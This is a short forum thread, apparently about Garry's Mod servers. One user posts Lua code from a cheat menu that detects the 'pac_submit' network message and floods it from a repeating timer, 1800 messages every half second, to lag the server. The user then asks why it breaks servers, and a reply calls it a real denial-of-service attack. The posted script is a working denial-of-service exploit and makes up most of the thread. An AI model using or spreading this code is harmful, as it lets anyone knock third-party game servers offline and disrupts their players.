Why does pac_submit easily lag servers?

[kubid]

local status = ValidNetString("pac_submit")
if (status) then
SploitText("Found Exploit: Fake DDoS")
addExploit( "31","Lags", "I broke it all", function()
 
    if !timer.Exists( "lagger8" ) then
                timer.Create("lagger8", 0.5, 0, function()
                for i=1, 1800 do
                net.Start("pac_submit")
                net.SendToServer()
                end
                end)
                SploitNotify("Starting Lagger")
            else
                timer.Remove("lagger8")
                SploitNotify("Stopping Lagger")
            end
end);end

Why does this fuck every server that has this exploit?

[Ally]

moved to proper section

[eth0s]

Becasue it does?

Anyway

SploitText("Found Exploit: Fake DDoS")

"Fake DDoS"

What you are doing is a denial of service attack on servers, so this isn't "fake".